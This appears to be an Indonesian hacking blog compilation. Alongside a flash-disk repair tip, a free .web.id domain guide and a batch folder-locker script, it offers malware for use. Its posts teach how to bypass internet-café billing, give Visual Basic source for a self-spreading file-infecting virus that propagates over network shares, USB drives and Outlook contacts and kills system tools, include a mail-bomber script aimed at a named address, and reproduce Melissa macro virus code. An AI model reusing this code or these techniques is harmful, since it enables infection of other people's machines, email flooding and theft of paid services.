• Flash Disk mengalami Write Protect Error
• Anda tidak dapat membuang file atau memasukan file ke dalam Flash Disk
• Upaya melakukan format pada Flash Disk mendapatkan pesan Write Protect
• Flash Disk terkadang mengalami hal yang sama bila digunakan oleh computer berbeda. Dan tetap tidak dapat digunakan oleh computer anda, walaupun terkadang dapat bekerja pada computer lain

Pesan ditampilkan pada Windows XP :

Pada pesan pertama, pesan muncul ketika dilakukan format

Pesan ke 2 ketika file lakukan write file atau memindahkan file ke flash disk

Pesan ke 3 adalah pesan lainnya ketika flash disk dimasukan data dari harddisk

Tip dengan CHKDSK dan Format melalui Dos Prompt:

1. Masuk ke DOS Prompt Windows XP dan ketik CHKDSK /F Drive letter : (chkdsk /f v:)
2. Selesai memeriksa dari Check Disk (CHKDSK), coba anda buang file yang ada pada Flash Disk dengan perintah Del drive letter:*.*. Contoh pada perintah membuang file dari Flash Disk di drive V: adalah DEL V:*.*
3. Sekali lagi anda coba format dengan perintah Dos Promt. Format V:
4. Atau gunakan cara melalui Computer Management dan lihat volume drive V, dan anda coba format. Bila masih terdapat pesan error lakukan boot pada computer

Tahap 1

Tahap 2

Tahap 3.4

Result

Flash disk anda mengalami corrupt. Cara yang disebutkan diatas adalah untuk memperbaiki flash disk yang corrupt file dan mengalami file protect ketika mengcopy atau memindahkan data serta tidak dapat melakukan format.

Selesai melakukan format pada Flash Disk, tetapi anda mendapat pesan yang sama ketika melakukan format. Coba anda lakukan boot pada computer untuk me-refresh Windows XP agar mengenal Flash Disk anda. Bila masih mengalami hal sama, coba anda ulangi kembali melakukan chkdsk, bila masih terdapat pesan invalid link. Bila kedua kalinya anda masih mengalami hal tersebut, cara yang kami berikan tidak berlaku untuk flash disk anda

Kasus Flash Disk Write Protect terkadang hanya terjadi pada satu buah computer sementara beberapa waktu masih dapat digunakan oleh computer berbeda. Tetapi dapat juga langsung terjadi pada semua computer yang ketika anda menghubungkan Flash Disk anda baik pada sistem Windows XP atau OS lain

Hal lain dapat saja membuat error pada flash disk anda dan belum tentu disebabkan karena corrupt file yang membuat kasus seperti diatas.

Tools yang dibutuhkan :
1. Zhider 2.0 atau AceHider Free
2. Startup Manager

Toolsnya bisa dicari melalui paman google atau download dibawah ini
Tools hacking.zip
204 Kb Password : @R!3L

Log in seperti biasa diwarnet kesayangan kamu (bioskop kali!!!)
Setelah online, saatnya beraksi !
Buka zhider.exe, untuk membaca keterangan tentang software tersebut dan penggunaannya silakan baca readme.txt.

Setelah Zhider.exe diexecute, maka akan tampak pada tab Processes di Task Manager

Bila menggunakan Kapersky Antivirus maka akan terdeteksi sebagai Invader

Untuk amannya bisa menggunakan AceHider Free, tapi perlu diinstall. Apalagi status kamu cuma Guest bukan Administrator, jadi mustahil untuk menginstall sebuah software kedalam kompi.
Tapi jangan khawatir, kali ini gue udah siapkan semua.
Kamu bisa mengesktrak Folder AceHider Free dari Tools Hacking.Zip, atau AceHider Free.exe dari folder tersebut.
Tapi bila menggunakan AceHider Free maka akan tampak pada taskbar, sehingga kemungkinan ketahuan akan lebih besar.

Sekarang tinggal memilih tools mana yang ingin kamu pakai Zhider atau AceHider Free?

Kita masuk dalam penggunaan tools tersebut

1. Menggunakan Zhider
Bila kita menggunakan Zhider, kendala yang akan kita dapati adalah terdeteksi oleh antivirus, tapi biasanya warnet dikota gue memakai McAfee dan NOD32, walaupun diupdate tetap saja nggak bisa dideteksi. Kecuali menggunakan Kapersky, itupun hanya terdeteksi bila Task Manager dibuka. Oleh karena itu Zhider cukup aman untuk dipakai.
Setelah mengeksekusi Zhider.exe, kita dapat mencobanya dengan menyembunyikan jendela apapun yang sedang aktif. Untuk menyembunyikan jendela yang sedang aktif tekan Ctrl+Alt+Z, sedangkan untuk menampilkan kembali jendela tersebut tekan Ctrl+Alt+X.
==========================================================================================================
It’s Show Time
==========================================================================================================
AceHider dapat dijalankan walaupun kompi direstart, tapi Zhider tidak. Oleh karena itu gunakanlah Startup Manager yang ada di tools hacking.zip, dengan file bernama strun.exe. Fungsinya untuk menjalankan sebuah aplikasi waktu kompi di Reboot.
Kita akan mengaktifkan Zhider.exe pada waktu kompi di reboot, sehingga pada waktu kita mampir kewarnet, kita bisa main GRATISSS!!! Khan tinggal di Ctrl+Alt+Z, jendela log ini akan disembunyikan. Browsing deh sesuka hati
Jalankan strun.exe, buka File, new startup item (Ctrl+N)
Tambahkan Zhider.exe, dengan membuka Zhider pada tempat anda menyimpan file tersebut. Berilah nama untuk Zhider dengan nama yang tidak mencurigakan seperti Adobe Updater. Ok ! Selesai deh!

Sekarang, log out dan klik pada jendela log in tepatnya didaerah kosong dimana saja, kemudian tekan Ctrl+Alt+Z.
Bang!!! Suprise

2. Menggunakan AceHider Free
Bila kita menggunakan AceHider, maka akan terasa lebih mudah. Aktifkan Acehider, untuk menyembunyikan jendela yang sedang aktif double klik pada icon tray pada taskbar, maka jendela yang aktif akan disembunyikan, untuk menampilkan kembali, klik kanan pada icon tray. Kemudian pilih Show Window.
Anda dapat mengatur program ini sesuka hati dengan mengatur Preferences.
Klik kanan lalu pilih Preferences, gantilah system hot keys dengan pilihan anda

Setelah itu log out, dan tekan tombol sesuai pilihan anda yang telah anda atur untuk menyembunyikan jendela log in

Ingat !!! Jangan lupa berdoa sebelum tidur, sorry Resiko tanggung sendiri.

Beruntunglah kita punya pemerintah yang peduli dengan nasib para netter yang suka gratisan. Kita bisa mendapatkan domain dot id secara gratis. Tapi, Indonesia ndak akan ngasih sesuatu gitu aja. Selalu harus ada urusan berbelit-belit yang perlu kita lewati. hehehe… Tapi gpp, selama itu gratis, sepanjang apapun jalannya tentu kita terobos juga kan?

Bagi pemilik website pribadi, kita bisa memiliki domain web.id, sehingga alamat domain kita nantinya : nama_domain.web.id. Untuk itu, perlu disiapkan scan ktp sebagai persyaratan pendaftaran.

Berikut ini cara mendapatkan domain web.id gratis dari depkominfo:

1. Kunjungi situs pendaftaran depkominfo di https://register.net.id
   
2. Buat account baru melalui menu register
3. Setelah mengisi seluruh form, kamu akan diminta melakukan aktivasi melalui email. Didalamnya juga terdapat nama login dan password.
4. Klik link yang diberikan untuk aktivasi
5. Berikutnya adalah mendaftar domain.
6. Klik menu domain management
7. Klik pendaftaran domain
8. Masukkan nama domain yang diinginkan pada kotak pencarian yang ada
9. Bila nama yang dicari belum ada yang menggunakan, akan ada keterangan bahwa domain yang kamu inginkan available maka klik register
10. Selanjutnya kamu udah bisa mengisi form pendaftaran domain.
11. Untuk identitas masukkan tulisan KTP karena kita akan mendaftar domain web.id
12. Untuk pengisian primary dan secondary server, gunakan saja ns milik 100webspace.com yaitu :
    - dns1.100ws.com
    - dns2.100ws.com
13. Kosongkan saja kotak isian net address
    
14. Berikutnya adalah menyiapkan dokumen
15. Klik tulisan klik disini pada halaman pernyataan bahwa pendaftaran sukses
    
16. Pilih dokumen yang akan dibuat yaitu KTP
17. Masukkan nomor dokumen dengan format KTP#nomor_ktpnya misal : KTP#12.14.14.170180.0001
18. Setelah submit, kini tinggal mengupload dokumennya
19. Klik tulisan klik disini pada halaman pernyataan bahwa pembuatan dokumen sukses.
20. Klik browse dan tentukan file scan ktp yang udah kamu siapin
21. Klik Upload dan tunggu sampai ada pernyataan sukses.
22. Pekerjaan selesai, sekarang kita cuman perlu nunggu persetujuan dari pengurus kominfo.

Biasanya dalam waktu 2 hari kerja akan ada jawaban dari petugas. Kalo udah selesai, kamu tinggal menyiapkan hosting untuk domain baru ini

Syarat sebuah virus computer :

1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & “\” & app.EXEName , environ$(”windir”) & “\” & app.EXEName

dan menambah ke registry :

Dim WShell as Object

Set WShell = CreateObject(”WScript.Shell”)

WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku”, environ$(”windir”) & “\” & app.EXEName

Set WShell = Nothing

Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)

Dim tSignature As String * 5

Dim OriginalCode As String

Dim fNum As Integer

‘Jangan menginfeksi diri sendiri‘Hanya menginfeksi file berukuran lebih dibawah 1 Mega

If Dir(fname) <> “” Then

If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then

‘Ambil nomor file

fNum = FreeFile

Open fname For Binary Access Read As fNum ‘Buka file target

Seek fNum, LOF(fNum) – 5 + 1 ‘pindah file pointer ke posisi Signature Virus

tSignature = Space$(5)

Get fNum, , tSignature ‘baca tSignature

Close fNum

If tSignature <> virSignature Then ‘jika file virus (tidak ada virSignature)

On Error GoTo finally

Open fname For Binary Access Read Write As fNum ‘Buka file target

OriginalCode = Space$(LOF(fNum))

Get fNum, , OriginalCode ‘baca Program Executable

Put fNum, 1, virCode ‘tulis Program Virus diawal Put fNum, , OriginalCode ‘tulis Program Executable Put fNum, , virSize ‘tulis Ukuran Virus Put fNum, , virSignature ‘tulis Signature Virus

Close fNum

finally:

End If

End If

End If

End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()

Dim OriginalCode As String

Dim tSignature As String * 5

Dim fNum As Integer

Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + “.exe” For Binary Access Read As #1

Seek #1, LOF(1) – 5 + 1 ‘pindah file pointer ke posisi virSize

tSignature = Space$(5)

Get #1, , tSignature ‘baca virSignature

If tSignature <> virSignature Then ‘Jika file virus sendiri

virSize = LOF(1) ‘ukuran virSize sama dengan ukuran file

virCode = Space$(virSize) ’siapkan buffer virCode

Seek #1, 1 ‘ke posisi bof

Get #1, , virCode ‘baca virCode sebesar ukuran virSize

Close #1

Call VirInstall ‘instalasi virus

If Not SudahLoad Then

Load ff ‘aktifkan timer virus

End If

‘Jika file yang terinfeksi

Else

Seek #1, LOF(1) – 9 + 1 ‘pindah file pointer ke posisi virSize

Get #1, , virSize ‘baca virSize (long = 4 byte)

‘Baca vircode

virCode = Space$(virSize)

Seek #1, 1 ‘ke posisi BOF (Awal file)

Get #1, , virCode ‘baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) – virSize) ’siapkan buffer

Get #1, , OriginalCode ‘baca originalCode

fNum = 0

Do While Dir(exePath & App.EXEName & fNum & “.exe”) <> “”

fNum = fNum + 1

Loop

fname = exePath & App.EXEName & fNum & “.exe”

On Error GoTo finally

Open fname For Binary Access Write As #2

Put #2, , OriginalCode ‘tulis ke file sementara

Close #2 ‘tutup file sementara

finally:

Close #1

Call VirInstall

If Not SudahLoad Then

Load ff ‘aktifkan timer virus

End If

Call ExecuteOriginal(fname)

Kill fname ‘hapus file sementara

End If

End Sub

Private Sub ExecuteOriginal(fname)

Dim Host As Long, HProc As Long, HExit As Long

Host = Shell(fname, vbNormalFocus) ‘jalankan fname

HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)

GetExitCodeProcess HProc, HExit ‘ambil status aktifDo While HExit = STILL_ACTIVE ‘proses ditahan selama proses masih aktif DoEvents ‘lakukan event yang lain

GetExitCodeProcess HProc, HExit

Loop

End Sub

Private Function SudahLoad() As Boolean

Dim vir_hwnd As Long

‘Jika Jendela virus aktif

vir_hwnd = FindWindow(vbNullString, titleSudahLoad)

SudahLoad = Not (vir_hwnd = 0)

End Function

Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()

On Error GoTo BatalInfeksi

Dim floppy_hwnd As Long

Dim fname As String

‘Jika Jendela Floppy terbuka

floppy_hwnd = FindWindow(vbNullString, “3½ Floppy (A:)”)

If Not floppy_hwnd = 0 Then

Call InfeksiResource(”A:”, “DOCXLS”) ‘Hanya infeksi Doc, Exe jangan

End If

BatalInfeksi:

End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()

On Error GoTo BatalInfeksi

Dim ObjFSO As Object

Dim ObjDrive As Object

Set ObjFSO = CreateObject(”Scripting.FileSystemObject”)

For Each ObjDrive In ObjFSO.Drives

‘Asumsi semua removable drive diatas huruf C adalah flash disk

‘1 – Removable drive

‘2 – Fixed drive (hard disk)

‘3 – Mapped network drive

‘4 – CD-ROM drive

‘5 – RAM disk

If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then

Call InfeksiResource(ObjDrive.DriveLetter + “:”, “XLSDOC”)

End If

Next

BatalInfeksi:

End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()

Dim shares() As String, share As Variant, target As String

If GetShares(”\\127.0.0.1″, “Microsoft Windows Network”, shares) = True Then

For Each share In shares

target = share

Call InfeksiResource(target, “XLSDOCEXE”)

Next share

End If

End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()

Dim Domains() As String, Domain As Variant

If GetShares(””, “Microsoft Windows Network”, Domains) = True Then

For Each Domain In Domains

If Not stackDomain.isFull Then

stackDomain.Push (Domain)

End If

Next Domain

End If

End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()

Dim Computers() As String, Domain As String, Computer As Variant

If Not stackDomain.isEmpty() Then

Domain = stackDomain.Pop()

If GetShares(Domain, “Microsoft Windows Network”, Computers) = True Then

For Each Computer In Computers

If Not stackComputer.isFull Then

stackComputer.Push (Computer)

End If

Next Computer

End If

End If

End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()

Dim Drives() As String, Computer As String, Drive As Variant

If Not stackComputer.isEmpty() Then

Computer = stackComputer.Pop()

If GetShares(Computer, “Microsoft Windows Network”, Drives) = True Then

For Each Drive In Drives

If Not stackDrive.isFull Then

stackDrive.Push (Drive)

End If

Next Drive

End If

End If

End Sub

Public Sub InfeksiNetworkDrive()

Dim target As String

If Not stackDrive.isEmpty() Then

target = stackDrive.Pop()

Call InfeksiResource(target, “XLSDOCEXE”)

End If

End Sub

Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()

Dim Outlook As Object

Dim Mapi As Object

Dim Mail As Object

Dim AddressBook As Variant

Dim MailAddress As Variant

Dim i As Integer, j As Integer

On Error GoTo finally

Set Outlook = CreateObject(”Outlook.Application”)

Set Mapi = Outlook.GetNamespace(”MAPI”)

For i = 1 To Mapi.AddressLists.Count

Set AddressBook = Mapi.AddressLists(i)

For j = 1 To AddressBook.AddressEntries.Count

MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)

Mail.Subject = “Subject Virus Anda”

Mail.Body = vbCrLf & “Pesan anda agar pemakai tertarik membuka attachment.”

Mail.Attachments.Add Environ$(”windir”) & “\” & attachment & “.doc.exe”

Mail.Send

Next

Next

finally:

Set Outlook = Nothing

Set Mapi = Nothing

End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools”, 0, “REG_DWORD”

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD”, 0, “REG_DWORD”

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()

Dim EnemyProcess(20) As String

Dim i As Integer

EnemyProcess(1) = “Registry Editor”

EnemyProcess(2) = “Windows Task Manager”

EnemyProcess(3) = “Process Viewer”

EnemyProcess(4) = “Open With”

For i = 1 To 4 Step 1

Call KillEnemyWindow(EnemyProcess(i))

Next i

End Sub

Private Sub KillEnemyWindow(target As String)

Dim Enemy_hwnd As Long

Enemy_hwnd = FindWindow(vbNullString, target)

If Not Enemy_hwnd = 0 Then

CloseWindow (Enemy_hwnd)

End If

End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib “kernel32″ (ByVal dwMilliseconds As Long)

Public Declare Function OpenProcess Lib “kernel32″ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Declare Function GetExitCodeProcess Lib “kernel32″ (ByVal hProcess As Long, lpExitCode As Long) As Long

Public Declare Function CloseHandle Lib “kernel32″ (ByVal hObject As Long) As Long

Public Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function CloseWindow Lib “user32″ (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103

Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE

dwScope As Long

dwType As Long

dwDisplayType As Long

dwUsage As Long

lpLocalName As Long

lpRemoteName As Long

lpComment As Long

lpProvider As Long

End Type

Public Declare Function WNetOpenEnum Lib “mpr.dll” Alias “WNetOpenEnumA” _

(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _

lpNetResource As NETRESOURCE, lphEnum As Long) As Long

Public Declare Function WNetEnumResource Lib “mpr.dll” Alias “WNetEnumResourceA” _

(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long

Public Declare Function WNetCloseEnum Lib “mpr.dll” (ByVal hEnum As Long) As Long

Public Declare Function lstrlen Lib “kernel32″ Alias “lstrlenA” (ByVal pString As Long) As Long

Public Declare Function lstrcpy Lib “kernel32″ Alias “lstrcpyA” _

(ByVal lpString1 As String, ByVal pString As Long) As Long

Const RESOURCE_GLOBALNET = 2

Const RESOURCETYPE_DISK = 1

Const RESOURCEDISPLAYTYPE_DOMAIN = 0

Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean

Dim hEnum As Long, nrLen As Long, nrCount As Long

Dim nr(2048) As NETRESOURCE, retval As Boolean

nrCount = -1

nrLen = 65536

RemoteName = StrConv(RemoteName, vbFromUnicode)

nr(0).lpRemoteName = StrPtr(RemoteName)

Provider = StrConv(Provider, vbFromUnicode)

nr(0).lpProvider = StrPtr(Provider)

nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN

nr(0).dwUsage = RESOURCEUSAGE_CONTAINER

If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then

If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then

If nrCount > 0 Then

ReDim sShares(nrCount – 1) As String

For nrLen = 0 To (nrCount – 1)

sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))

Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)

Next nrLen

retval = True

End If

End If

Call WNetCloseEnum(hEnum)

End If

GetShares = retval

End Function

Lampiran B

‘Form ff

Option Explicit

Dim SedangInfeksi As Boolean

Dim SpreadEmail As Boolean

Dim Aktifitas As Integer ‘0 = floppy, 1 = flashdisk

Dim Loncat As Integer

Private Sub AT_Timer()

Call KillEnemy

If Not SedangInfeksi Then ‘jangan overlapping proses

SedangInfeksi = True

If Aktifitas = 0 Then

Call InfeksiMySharing

ElseIf Aktifitas = 1 Then

Call AmbilDomain

ElseIf Aktifitas = 2 Then

Call AmbilComputer

ElseIf Aktifitas = 3 Then

Call AmbilDrive

ElseIf Aktifitas = 4 Then

Call InfeksiNetworkDrive

ElseIf Aktifitas = 5 Then

Call InfeksiFloppy

ElseIf Aktifitas = 6 Then

‘Call InfeksiFlashDisk

ElseIf Aktifitas = 7 Then

Call InfeksiMySharing

ElseIf Aktifitas = 8 Then

If Not SpreadEmail Then

Call SpreadEmailOutlook

SpreadEmail = True

End If

Aktifitas = 1

End If

Aktifitas = (Aktifitas + 1)

SedangInfeksi = False

End If

End Sub

Main Program

Private Sub Form_Load()

Me.Visible = False

Me.Caption = titleSudahLoad

AT.Interval = 1000

SedangInfeksi = False

SpreadEmail = False

Aktifitas = 0

Loncat = 0

AT.Enabled = True

End Sub

——————————————————————————————–

@ECHO OFF
titipan kunci folder
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Serius nich mau Kunci ??(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Foldernya dah terkunci
goto End
:UNLOCK
echo Eiittt masukkan pasword dulu
set/p “pass=>”
if NOT %pass%== titipan goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Foldernya berhasil di buat
goto End
:End

——————————————————————————————–

setelah itu SAVE AS dengan nama kunci.bat
sekarang
kita klik kunci.bat nya
tar muncul folder : locker
taruh file2 kamu di sana
kemudian kalo dah selese
tinggal klik kunci.bat lageee

Klo mau buka tinggal klik kunci.bat lagi abis itu masukkan pasword : titipan

  #!/bin/sh

if [ $# -lt 2 ]

then

   echo "[+] Simple mail bomber"

   echo "[+] By SNK"

   echo "[+] #malanghackerlink"

   echo "[+] $0 agst_diana@yahoo.com <100000>"

exit 1

fi

email=$1

i=1

s=1

echo "Kau yang buat aku berarti untuk menjalani semua" > /tmp/mail.t

echo "Kau yang memberi aku harapan untuk bagkit dari keterpurukan" >> /tmp/mail.t

echo "Kau yang memberi mimpi di malam ku" >> /tmp/mail.t

echo "dan kau juga yang menghancurkan semua" >> /tmp/mail.t

echo ""  >> /tmp/mail.t

echo "Katakan 1 kali ini"  >> /tmp/mail.t

echo "APA SALAH KU " >> /tmp/mail.t

echo "APA DOSAKU "  >> /tmp/mail.t

echo "APA ini semua yg km inginkan ?"  >> /tmp/mail.t

echo ""  >> /tmp/mail.t

echo "Terima Kasih atas semua nya" >> /tmp/mail.t

   echo "[+] Simple mail bomber"

   echo "[+] By SNK"

   echo "[+] #malanghackerlink"

   echo "[+] file name /tmp/mail.t"

   echo "[+] Please wait"

   echo "[+] Sikat $1"

while [ $i -le $2 ]

do

  mail -s "Re. Kenapa sih harus gini???" $email < /tmp/mail.t

  i=`expr $i + 1`

done

echo "[+] DONE"

peel 2

clear

 cat /tmp/mail.t

rm -rf /tmp/mail.t
BY : SNK ON : 10-Sep-2007 Click : 5 

BY : JIN ON : 15-Nov-2007 Click : 1

Berikut adalah code virus i love u….

jangan coba-coba untuk yang tidak berkepentingan jika ada penyalahgunaan, tanggung sendiri akibatnya

——————————————————————————————–

Private Sub AutoOpen()
On Error Resume Next
p$ = “clone”
If System.PrivateProfileString(””, “HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) “” Then
CommandBars(”Macro”).Controls(”Security…”).Enabled = False
System.PrivateProfileString(””, “HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) = 1&
Else

p$ = “clone”
CommandBars(”Tools”).Controls(”Macro”).Enabled = False
Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1): Options.SaveNormalPrompt = (1 – 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(”Outlook.Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(”MAPI”)
If System.PrivateProfileString(””, “HKEY_CURRENT_USER\Software\Microsoft\Office\”, “Melissa?”) “… by Kwyjibo” Then
If UngaDasOutlook = “Outlook” Then
DasMapiName.Logon “profile”, “password”
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = “Important Message From ” & Application.UserName
BreakUmOffASlice.Body = “Here is that document you asked for … don’t show anyone else “
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = “”
Next y
DasMapiName.Logoff
End If
p$ = “clone”
System.PrivateProfileString(””, “HKEY_CURRENT_USER\Software\Microsoft\Office\”, “Melissa?”) = “… by Kwyjibo”
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name “Melissa” Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = “Melissa”
DoAD = True
End If
If NTI1.Name “Melissa” Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = “Melissa”
DoNT = True
End If
If DoNT True And DoAD True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = “”
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (”Private Sub Document_Close()”)
Do While ADI1.CodeModule.Lines(BGN, 1) “”
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = “clone”
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = “”
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (”Private Sub Document_Open()”)
Do While NTI1.CodeModule.Lines(BGN, 1) “”
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
